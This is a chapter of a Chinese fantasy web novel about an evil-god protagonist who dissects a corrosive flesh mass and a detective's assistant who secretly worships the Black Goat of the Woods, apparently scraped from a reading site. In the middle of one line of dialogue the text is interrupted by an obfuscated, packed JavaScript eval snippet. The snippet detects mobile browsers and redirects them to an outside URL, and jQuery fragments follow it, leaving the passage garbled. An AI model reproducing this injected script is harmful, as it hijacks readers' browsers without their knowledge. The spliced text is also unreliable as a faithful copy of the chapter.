第 207 章 “母神的光辉常伴...
作品:《穿成邪神的我能力是抽卡》 第207章“母神的光辉常伴
221号的住户(七)
苏耶尔用手指揉捏着这一团被日光的网所束缚住的、不明具体构造的细胞组织,倒是并不急于在第一时间就将其彻底的根除摧毁掉。
没有那样的必要,无论这一团东西最开始打算做些什么,当它遭遇到苏耶尔的那一刻,就已经宣告了这所有的算计的全部终结,连带着这东西之前的诸多行动也都将会化为无用功。
而现在,这东西在被毁灭之前,能够给苏耶尔带来更大的价值……比如倒推解析这一次奈亚究竟往他的世界里面丢了个什么东西,以及这个东西的运作原理又究竟是什么。
苏耶尔用手捏了捏,又捏了捏,那东西在他的掌心当中发出了奇怪的“噗叽”声,伴随着一些可疑的不明红色液体往外溢出,沿着少年人纤长而又骨节分明、恍若艺术品一样的手指流淌滴落,极致的红与白映衬在一起对比强烈,就像是一副色彩秾丽的绘卷。
这些红色的液体在苏耶尔的手上的时候,还没有显出什么特别的、与众不同的地方来,因此也没有引得和苏耶尔的特别的关注;但是当它们离开了苏耶尔的手指、掉在了地板上的时候,顿时发出了一阵令人牙酸的“滋滋”声。
赶在这些液体造成更大的、无可挽回的伤害之前,苏耶尔的手指间有漆黑的火焰一闪而过,将那些已经渗透出来的红色汁液尽数灼烧,再不给它们造成任何破坏的可能;同时,原本以“网”的形态存在的日光改变了结构,成为了拳头大小的金色立方体,单独的开辟出了一方空间,将深红色的肉团同外界隔离开来。
托纳蒂乌微微弯下腰去,伸出手指来在红色液体滴落的位置处一抹。
原本还在“滋滋”的腐蚀的红色液体便都轻盈的被抹去了,仿佛从未出现过一样,就连向前被腐蚀出来的那一个洞也被填平了,严丝合缝,看不出丝毫的违和亦或者是痕迹。
苏耶尔的手指没入到金色的立方当中去,拽着那一团红色的细胞组织用力的揪了揪。指尖下的触感是几乎要让人感到有些恶心了的黏腻的程度,戳下去的时候还不觉得,但当想要将手指抽离的时候,便能够察觉到那种有如陷入了泥潭当中一样的、难以轻易拔离的感觉。
苏耶尔的手指动了动,面上露出了若有所思的神色。
这一团东西……在试图想要“吞噬”和“同化”他。
苏耶尔想,对于那些离奇的、整个村落、整个城镇——以这样的大规模的方式所达成的人口失踪案,他或许已经有了一些想法和眉目。
尽管他的这个猜想,不管怎么看都有些可怕了。
“托纳蒂乌……”苏耶尔有些犹豫的询问,“你介意我们的行程稍微的有一些改变吗?”
尽管提出这个要求的人是苏耶尔自己,但是他的面上所流露出来的那种无比委屈的表情,看上去简直让托纳蒂乌怀疑如果自己稍微的——说上哪怕是一两句的重话的话,这孩子是不是下一秒就会哭出来。
有一个无论是年龄也好,还是心智也好,亦或者是经历也好,都要比自己稚嫩很多的恋人,实在是一种未曾有过的神奇体验。好在托纳蒂乌并不介意去包容苏耶尔,并且也很乐意于这样做。
他在苏耶尔有些忐忑的目光当中伸出手去,放在了少年的头顶,轻轻的揉了揉,面上的笑容成功的安抚了苏耶尔所有的委屈与不安。
“我当然不会介意,苏耶尔。”托纳蒂乌说,“旅行的意义并非是一定要达成什么目的、看到什么风景,严苛到有如被提前制定好的计划表,连一丝一厘的误差与偏离都不被允许。”
他并没有拿开自己的手,而是又向下滑,并拢的中指与食指在苏耶尔的额头上点了一下,随后面上那一个原本就很温柔的笑意逐渐扩大,像是一汪能够将人完全的包裹在其中的暖泉。
“要我来说的话——旅行的意义最重要的,是身边的人吧?”
苏耶尔听到托纳蒂乌声音里含着笑意同他道:“只要是和你一起走古的地方。看过的风景,对我来说就都有足够被铭记的价值与意义。”
“……”苏耶尔嘟哝着除了他自己之外根本没有人能够听清的话,随后歪过身子来,一头扎进了托纳蒂乌的怀里面。
“太犯规了啊,居然说这种话……”苏耶尔在托纳蒂乌的怀里面蹭了蹭,贪恋那一份温暖。
你看,苏耶尔想。这就是他会对这个世界有所留恋、即便是背弃了自己诞生的起源与意义,也要保护这个世界,将外神都拒之门外的原因。
他没有办法拒绝来自托纳蒂乌的偏爱与温暖,也愿意为了对方去做任何事。
“那么,我们原先定下来的旅游计划就稍稍的推后一些……
少年人晶紫色的眼瞳当中有银白色的光芒疏忽闪过,于是他眼前所能够看到的场景在一瞬间全部都落叠在一起,就像是在原本的景象上又覆写了数层的残影,是无数个不同的时间节点与空间节点落在一起之后所形成的一种独特的奇观。
那是被特意调用出来的、属于犹格.索托斯的力量,足够让苏耶尔清楚的观测到过去、当下以及未来的景象——尽管在他并未装备属于犹格.索托斯的卡牌的时候,苏耶尔所能够使用的部分力量非常有限,但是短期的观测已经足够了。
无论在什么时间、什么地点、什么样的力量体系当中,【时间与空间】都是最神秘莫测的力量,能够轻易的改写战局,也可以达成本不认为会化为现实的奇迹。
他已经厌倦了和奈亚之间一而再、再而三的,有如猫抓老鼠一样的行为了。
苏耶尔想要一劳永逸的解决掉奈亚的问题。
他看着自己掌心当中的金色小立方体,扯了扯嘴角,露出一个极为冰冷的笑。
就用这个东西来做诱饵好了……
***
“我们现在在做的这一切真的是有意义的行为吗?福生向着华尔莫斯发出了灵魂质问。
在被华尔莫斯聘请成为他的助手之后,福生还是非常重视自己的这第一份工作的。
他甚至还专门去调查了一些华尔莫斯之前处理过的那些案件的详细情况,以便自己能够更好的了解之后他要协助的这位“老板,同时也是为了让自己能够对得起华尔莫斯开出的那一份不菲的薪资。
福生必须得承认,对于这一份工作,他的确是抱有着热情和期待的。
——然后这一份热情和期待,就在真正的工作之后被全部都给磨没了。
福尔摩斯同时接下了苏耶尔和艾伯格场的委托,要调查清楚最近发生的失踪案件的相关事宜。手里面拿着艾伯格场的特别批条,他们得以进入了在事情发生之后就已经被严密的封锁起来的事发地。——毕竟失踪的只是生活在其中的人,那些村落与城镇还原封不动的、完好的待在原地,全部都
保留了最完整的模样。
当局将这些地方封锁,一方面是为了能够尽可能的保全现场,以便能够在其中发现更多的相关信息和线索;另一方面也是因为担忧这一种消失是否会蔓延和传染,造成更大范围的影响。
但是几个月过去,他们显然一无所获。也正是因为如此,所以艾伯格场才不得不拉下脸来,请求华尔莫斯出面——如果能够对于现在的境况有所改变的话,那么他们也不是不能把自己的脸扯下来丢在地面上,并且在上面再踩几脚,只要这样的行为真的有用。
然而就在福生心底已经兴致勃勃、畅想着自己能够像是先前看到过的那些侦探小说以及华尔莫斯的传记里一样,如何寻到蛛丝马迹、如何见微尘而窥全局,如果以许多零碎的小点串起一整个事件……华尔莫斯给他安排的任务却是如此的单薄和无聊,有如朝着福生兜头浇下去了一盆冷水。
“华尔莫斯!我看不出我做的这些事情有什么意义?
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589675|117849||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”福生向着他的老板抱怨,“这样的调查真的有意义吗?我认为我们应该采取更行之有效的行为。”
看看他这些天都在做些什么吧——一些无聊的实地勘探和比对,在已经落灰的阁楼、巷道当中来回穿行——这样的行为是如此的枯燥、和无聊,跟福生原本设想里的侦探应该有的行为不能说毫无想干,但也确实是两模两样。
这可一点也不符合福生的预期。
而最让福生感到火大的是,华尔莫斯是个神秘主义派,一个标准的谜语人。在得出最终的结论、展开一场有如舞台上的华丽戏剧一般的推理之前,他的嘴都闭的比蚌壳还紧,不会吐露哪怕是一分一毫的信息来。
无论福生什么时候去向华尔莫斯询问,都只会得到“还不是时候”的、这样的回复……就算是发钱的老板,这样也未免太让人火大了!
在又一次被华尔莫斯给“搪塞”了之后,福生心头的不忿已经上升到了最高。
他朝着华尔莫斯的背影做了个鬼脸,心想,既然华尔莫斯这样“不仁”,那么也就怪不得他“不义”了——
福生打算抛下华尔莫斯的安排与嘱咐,自己独自去做一些更危险,但是更有效率的事情。
夜色渐深。
当天空当中的月亮升到了最高点的时候,借着月光的照
映,能够看见一个人影悄咪咪的从被暂时收拾出来以供休憩的屋子里走了出来。
月光照亮了他的脸,赫然正是福生。
只是现在的福生同他白日看上去相比,却似乎隐约的有些不同。他的身上像是罩着一层不明显的阴影,一抹虚无的黑暗,以至于他整个人都显出一种阴鸷来——和“福生”这一存在所予人的印象完全不同。
福生一路走出了城镇,来到了小城外面的密林当中。月光透过横七竖八的错落的树枝投了下来,在他的脸上打出了明暗不定的斑驳光影。
福生就这样一路走下去。他的心里面似乎已经有一个明确的目标,因此在行进的时候不为其他任何的事情而停留。
终于,他停了下来。
这里是林间少有的空地,能够完全的接受到月光的照射,就像是一处小小的、被单独圈出来的舞台。福生在这个【舞台】的中央站定,随后虔诚的跪了下来,双手合十在胸前,口中以一种极为孤僻生涩的语言念诵起了某种祷言。
伴随着他的祷言,周围的光都逐渐的黯淡了下来,直到最后,无论是天上的星辰还是月亮都全部“消失”了,黑暗将一切都包裹和笼罩。
而福生仰起头来,在他的眼瞳深处像是有幽紫色的火焰在寂静的跃动和燃烧;他的面上是一派的虔诚之色——那甚至已经不能单单的用“虔诚”来描述了,而更应该被定义为“笃信”与“狂热”。
“伟大的黑山羊之母,不可言及者之妻,我等唯一至尊至高的母神,孕育万千子孙的森之黑山羊,请垂怜您的信徒——”
一弯闪烁着骇人的光芒的新月破开了云层展露了出来,有如能够轻易的割喉的弯刀。在这新月的光芒的照耀下,福生低下头,看向自己由于新月的光芒而被投射出来的影子。
那影子绝不正常,无论是形状也好,还是所占有的面积也好……更别提现在它正如同拥有自己的智慧与生命那样剧烈的扭曲和舞动着,直到最后,这影子逐渐的充实、隆起,由一片薄薄的平面的影子成为了一只立体的生物。
这生物生着类似羊的外形,但却又远比羊来的更狰狞、邪恶、不可直视。
但是福生显然并不因此而惧怕。
他伸出手,搭在这生物的头顶,眼底的紫芒更浓。
“神使大人,请您为我指引前方的道路……”福生说。
“这个城市当中那些不对的地方,究竟都在哪里?”
作者有话要说
目前可解锁信息:福生是黑山羊密教养大的孩子,羊妈的信徒,小黑山羊